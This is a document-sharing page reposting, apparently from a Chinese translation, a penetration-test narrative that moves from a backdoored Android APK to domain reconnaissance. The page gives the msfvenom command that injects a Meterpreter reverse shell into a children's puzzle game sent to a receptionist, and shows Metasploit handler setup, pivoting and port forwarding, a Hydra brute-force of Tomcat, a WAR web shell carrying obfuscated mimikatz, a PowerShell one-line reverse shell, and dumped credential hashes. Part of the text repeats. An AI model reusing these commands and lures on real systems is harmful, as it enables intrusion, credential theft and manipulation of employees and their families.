收藏 分享(赏)

看我如何从一个APK到最终拿下域管理权限.docx

上传人:dzzj200808 文档编号:3031272 上传时间:2018-10-01 格式:DOCX 页数:15 大小:70.82KB
下载 相关 举报
看我如何从一个APK到最终拿下域管理权限.docx_第1页
第1页 / 共15页
看我如何从一个APK到最终拿下域管理权限.docx_第2页
第2页 / 共15页
看我如何从一个APK到最终拿下域管理权限.docx_第3页
第3页 / 共15页
看我如何从一个APK到最终拿下域管理权限.docx_第4页
第4页 / 共15页
看我如何从一个APK到最终拿下域管理权限.docx_第5页
第5页 / 共15页
点击查看更多>>
资源描述

1、看我如何从一个 APK到最终拿下域管理权限?我在泡论坛的时候无意间看到了一片特别好的文章,可以说是技术操作的典范之作,于是我就赶紧把他下载下来给各位来看一看瞧一瞧啊!我觉得这边文章完全可以当作一个攻击事例演研究啊!好了接下来我们就直接进入正文吧!对了在这里还得感谢一下给我们提供这篇优秀的学习的网站:,谢谢拉!在此抱拳向大牛致敬。本文我将向大家介绍在企业网络中使用个人智能手机,会给我们企业网络造成怎样的潜在威胁?事实证明,想要欺骗一位企业内部的员工并让其安装恶意应用程序,其实并不困难。一旦成功,攻击者就可以突破企业内网的防护机制(如杀毒软件等),自由的内网漫游,甚至可以进行权限提升等敏感行为。声

2、明:本文中提及的公司名称,员工姓名,IP 均为虚构,如有雷同纯属巧合!背景“超级公司”聘请了我们的一位渗透测试人员,要求我们对其员工进行一次社会工程学的评估。测试范围:利用所有可能的手段来窃取他们预留的文件,并以此展开对员工的社会工程学利用。在他们公司内部会议期间,我们向其公司的无线网络 GUEST Wi-Fi 发出了访问请求。但该 wifi 受到了专属的门户访问保护,需要输入账户密码登录才可以访问,且凭证有效期仅为一天。因此,我们决定假冒客户的身份,直接通过询问该公司的接待员获取 wifi 密码。接待员很热情,当然不会拒绝我们合理的请求。我们成功连入了该公司的 wifi 网络,随后我使用了i

3、Phone 手机上的 Fing 扫描器,进行了一次快速的扫描,我们发现有多达数页的 Android设备列表,这显然超过了当时建筑物中客人的人数。值得一提的是当时我们询问接待员时,我们看到接待员正在使用 WhatsApp 进行聊天。场景:干净整洁的桌面上仅有两部手机和一张全家福照片,其中包括:母亲(接待员),父亲和一位年轻漂亮的女孩。经过短暂的聊天,我们得知了小女孩的年龄为四岁,并且非常活泼好动,唯有安卓智能手机的游戏能让她安静下来。攻击叙述社会工程学往往开始于一场小型的网络钓鱼,但不幸的是我们并未成功。后来我们才意识到,原因在于“超级公司”在聘请我们进行评估之前,已经对公司内部员工进行了一系列

4、的安全意识培训。因此一般的钓鱼下载等社工手段,已不适用于他们。为此我们转换了我们的思路,我们决定把目标对准那位热情的接待员。还记得她的那位女儿吗?我们可以专门为其定制一个儿童 Android 应用程序,并以她的孩子为借口诱使其下载该应用程序。我们先是找到了她的电子邮件,然后在电子邮件中放置了一张二维码图片,该二维码图片链接就是我们定制的 Android 应用程序下载地址,只要简单的扫一扫就能免费下载。看上去是不是很可爱呢?其实,里面已经注入了我们提前准备的 Meterpreter shell。针对智能手机其实构建一个恶意的 APK 并不难,我们首先下载了一个 apk 程序,然后使用 msfve

5、nom创建了 Meterpreter 的后门,并将该 Meterpreter shell 注入进该 APK 程序:1. msfvenom -x puzzle.apk 2.3. -p android/meterpreter/reverse_tcp 4.5. LHOST= LPORT=443 6.7. -o /var/www/html/puzzle.apk复制代码这里我们使用的侦听端口为 443 端口,之所以选择该端口为侦听端口是因为,通常情况下80 和 443 端口都是公用防火墙允许的标准端口。同时我们也非常有信心,该应用程序会引起她的注意,并且受害者会因此而忽略安装过程中的警告信息。在我们的机

6、器上,我们在 Metasploit 中启动了通用有效载荷处理程序:1. msfuse exploit/multi/handler2.3. msf exploit(handler) set payload android/meterpreter/reverse_tcp4.5. payload = android/meterpreter/reverse_tcp6.7. msf exploit(handler) set lhost 8.9. lhost = 10.11. msf exploit(handler) set lport 44312.13. lport = 44314.15. msf ex

7、ploit(handler) exploit -j -z16.17. * Started reverse TCP handler on :443复制代码由于员工喜欢使用 GUEST Wi-Fi 进行私人上网,因此我们可以利用这一点在公司外部架设一部天线。Meterpreter 的利用早上 8 点多,我们在 msfconsole 上接收到了她的反弹会话:1.2. * Meterpreter session 1 opened (:443 -X.X.X.X:51990) at 复制代码没错! 她安装并启动了 apk,因此我们获得了一个 Meterpreter 会话!这里我们需要知道受害者当前连接的网

8、络是否为公司 wifi 网络。通过一个快速的 IP 检查我们发现,当前她使用的网络处在蜂窝网络提供商范围。这说明她可能正在去公司的路上,而她的女儿则正在玩安卓益智游戏。该会话并没有持续太久,在几分钟后我们便失去与该会话的连接。在早上 9 点之前,我们又得到了另一个 Meterpreter 会话:1. * Meterpreter session 1 opened (:443 -X.X.X.X:51990) at 复制代码没错! 她安装并启动了 apk,因此我们获得了一个 Meterpreter 会话!这里我们需要知道受害者当前连接的网络是否为公司 wifi 网络。通过一个快速的 IP 检查我们发

9、现,当前她使用的网络处在蜂窝网络提供商范围。这说明她可能正在去公司的路上,而她的女儿则正在玩安卓益智游戏。该会话并没有持续太久,在几分钟后我们便失去与该会话的连接。在早上 9 点之前,我们又得到了另一个 Meterpreter 会话:1. * Meterpreter session 2 opened (:443 -K.K.K.K:61545) at 复制代码这次 IP 是公司的 IP,她应该已经连接进了公司的 Wi-Fi 网络。我们开始进行一些侦察。 除了几款智能手机,我们没有找到与其他子网不同的 DNS我们开始对其网络进行一系列的信息侦察。我们发现除了几款智能手机外,我们没有找到任何与其他子

10、网相关的 DNS。1. meterpreteripconfig2.3. 4.5. Interface 96.7. =8.9. Name : wlan0 wlan010.11. Hardware MAC : 20:6e:9c:75:94:ba12.13. IPv4 Address : 10.118.1.1314.15. IPv4 Netmask : 255.255.255.016.17. IPv6 Address : fe80:226e:9cff:fe75:94ba18.19. IPv6 Netmask : :20.21. .22.23. meterpreter shell24.25. Proc

11、ess 1 created.Channel 1 created.26.27. getprop net.dns128.29. 192.168.178.196复制代码Wi-Fi GUEST 网络在 10.118.1.0/24 网段上,而 DNS 服务器则位于不同的子网中。我们配置了路由,以便我们能够从接待员智能手机的 Meterpreter 会话中访问这个新的子网:1. xploit(handler) route add 192.168.178.0 255.255.255.0 12.3. Nmap cannot be excluded, so we did a first quick ping s

12、can using proxychains:4.5. msf auxiliary(socks4a) use auxiliary/server/socks4a6.7. msf auxiliary(socks4a) show options8.9. Module options (auxiliary/server/socks4a):10.11. Name Current Setting Required Description12.13. - 14.15. SRVHOST 0.0.0.0 yes The address to listen on16.17. SRVPORT 1080 yes The

13、 port to listen on.18.19. # Attacker proxychains nmap -sn 192.168.178.0/24 DNS network20.21. Nmap scan report for 192.168.178.19522.23. Host is up (0.15s latency).24.25. Nmap scan report for 192.168.178.19626.27. Host is up (0.22s latency).28.29. Our hosts were happy to receive our ping scan.30.31.

14、We performed then a quick TCP scan:32.33. msf exploit(handler) use auxiliary/scanner/portscan/tcp34.35. msf auxiliary(tcp) set RHOSTS 192.168.178.195,19636.37. msf auxiliary(tcp) set RPORTS 1-102438.39. msf auxiliary(tcp) run40.41. * 192.168.178.195: 192.168.178.195:80 TCP OPEN42.43. * 192.168.178.1

15、95: 192.168.178.195:8080 TCP OPEN44.45. * 192.168.178.196: 192.168.178.196:53 TCP OPEN复制代码以下是当时我们对受害者网络的拓扑图:针对内网服务器主机 192.168.178.195 的 80 和 8080 端口处于开放状态。我们在本地做了端口转发,以便我们可以在本地对其网络流量进行分析:1.2. meterpreter portfwd add -L 127.0.0.1 -l 8001 -r 192.168.178.195 -p 803.4.5.6. meterpreter portfwd add -L 127

16、.0.0.1 -l 8002 -r 192.168.178.195 -p 8080复制代码我们惊奇的发现 80 端口,曝露了公司内部的手机目录。我们对于其在 GUEST 网络发布如此重要的信息,感到难以理解。我们进行了快速扫描,并没有发现有任何价值的漏洞,所以我们决定检查 8080 端口。这次我们很幸运,我们得到了一个 Apache Tomcat 的基本身份验证弹出窗口。经过一些弱密码的简单尝试失败后,我们决定使用 Hydra 进行爆破,最终我们成功爆破出了登录密码 并成功登录!按理来说,Tomcat Manager 和电话簿都不应该在 GUEST 网络下可用,可能是因为公司防火墙配置错误导致

17、的。我们计划在 Tomcat 上上传一个 shell,以便与底层操作系统进行交互。我们使用“Laudanum 注入 Web 漏洞利用代码”来构建我们的 war 后门,然后利用Manager 应用程序,来上传我们的“war”文件,其中包含:cmd.jsp:我们的 web shell 与 cmd.exe 进行交互。m.ps1:一个混淆和病毒隐藏版本的 mimikatz.ps1,用于抓取密码,散列等由于其灵活性,我们可以通过一些关键字的模糊处理来达到躲避检测的效果。例如:Invoke-mimikatz 我们也可以写成 Invoke-mymy 等。我们还在文件末尾添加了 Invoke-mymy -du

18、mpcreds,以便直接执行该功能。上传后,我们可以直接从我们的览器调用 cmd.jsp:这是一个振奋人心的消息,我们的用户当前的权限为 SYSTEM 权限。我们开始进行相关的信息收集工作。首先,我们来查看下环境变量:1. 命令: cmd /c set2.3. ALLUSERSPROFILE=C:ProgramData4.5. COMPUTERNAME=SRVINTRANET6.7. USERDOMAIN=SUPERCOMPANY8.9. USERNAME=SRVINTRANET$10.11. We had a name for our machine: SRVINTRANET. Also,

19、it was a member of AD domain SUPERCOMPANY, great!12.13. Other useful information were retrieved using systeminfo:14.15. Command: systeminfo16.17. Host Name: SRVINTRANET18.19. OS Name: Microsoft Windows Server 2012 R2 Standard20.21. OS Version: 6.3.9600 N/A Build 960022.23. OS Manufacturer: Microsoft

20、 Corporation24.25. OS Configuration: Member Server26.27. OS Build Type: Multiprocessor Free28.29. Registered Owner: Windows User30.31. 复制代码然后列出域控制器:1. 命令: cmd /c nltest /dclist:supercompany2.3. Get a list of DCs in domain supercompany from SRVDC1.4. srvdc1.supercompany.localPDC DSSite: Default-First

21、-Site-Name5. srvdc2.supercompany.local DSSite: Default-First-Site-Name6.7. The command completed successfully复制代码这个时候,Android 设备可能已经发烫,并且开始变得不稳定。因此,我们需要将我们的 shell 转移到一个更加稳定可靠的环境中。我们决定将其转移到一个 PowerShell shell 上,但愿 SRVINTRANET(企业内部网)可以连接到外网。在 Tomcat 的 webshell 中,我们运行了我们的 PowerShell 并执行了一键式 shell连接命令,而

22、在我们的公网服务器中,netcat 正在实时的侦听 80 端口:1. 命令: cmd /c powershell -nop -c “$c=New-Object Net.Sockets.TCPClient(,80); $s=$c.GetStream();byte$b=065535|%0;while($i=$s.Read($b,0,$b.Length)-ne 0);$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb=(IEX $data 2$sb2=$sb+PS +(pwd).Path+; $sb=

23、(text.encoding:ASCII).GetBytes($sb2);$s.Write($sb,0,$sb.Length);2.3. $s.Flush();$c.Close()”复制代码这段脚本代码都为我们做了什么?它使用了一些命令来启动 PowerShell:创建了一个TCPClient 对象,将其回连到我们的 PC,打开一个 I/O 流,并使用InvokeExpression (IEX)来接收我们的输入字符,并将它们以 PowerShell 脚本来执行。但不幸的是,内网中的 shell 并没有反向连接到我们的外网 PC。因此我们可以初步判断,这个服务器很有可能无法连接到互联网。我们再次

24、回到 Tomcat 的 webshell 中,并执行了我们之前上传的 mimikatz 脚本。1. 命令: cmd /c powershell -executionpolicy bypass -f c:tomcatwebappscmdwarfilesm.ps12.3. .#. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:144.5. .# #. “A La Vie, A LAmour”6.7. # / # /* * *8.9. # / # Benjamin DELPY gentilkiwi ( )10.11. # v # http:/ (oe.

25、eo)12.13. # with 20 modules * * */14.15. mimikatz(powershell) # sekurlsa:logonpasswords16.17. Authentication Id : 0 ; 191734 (00000000:0002ecf6)18.19. Session : Interactive from 120.21. User Name : Administrator22.23. Domain : SRVINTRANET24.25. Logon Server : SRVINTRANET26.27. Logon Time : 2/17/2017

26、 2:12:31 PM28.29. SID : S-1-5-21-938204560-2839928776-2225904511-50030.31. msv :32.33. 00010000 CredentialKeys34.35. * NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX36.37. * SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX38.39. 00000003 Primary40.41. * Username : Administrator42.43. * Domain : SRVINTRANET4

27、4.45. * NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX46.47. * SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX48.49. tspkg :50.51. wdigest :52.53. * Username : Administrator54.55. * Domain : SRVINTRANET56.57. * Password : (null)58.59. kerberos :60.61. * Username : Administrator62.63. * Domain : SRVINTRANET

28、64.65. * Password : (null)66.67. ssp : KO68.69. credman :70.71. mimikatz(powershell) # exit72.73. Bye!复制代码我们得到了本地管理员的哈希值,但没有明文 这是因为我们的目标是 Windows Server 2012。早在 windows 8.1 开始,微软就已经不再将 WDigest 密码以明文方式存储。而在 windows 8.1 以下版本, WDigest 密码都默认以明文形式保存在 LSA 内存中。但是不管怎么说,总算还是有所收获的。我们决定继续寻找一台,可以访问外网的 PC。因此,我们仍将通过不稳定的 Android 智能手机进行操作。使用“net view”命令,我们得到了域共享服务器列表:1. Server Name Remark2.3. -4.5. SRVDC1 Domain controller PDC6.7. SRVDC2 4 Domain Controller8.9. SRVWSUS Server WSUS10.11. SRVAV Server AV12.13. SRVFILE1 File Server复制代码好了文章先到这里,这里就当是给大家留了个坑吧。发散你们的思维,继续扩大战果吧!

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高等教育 > 专业基础教材

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报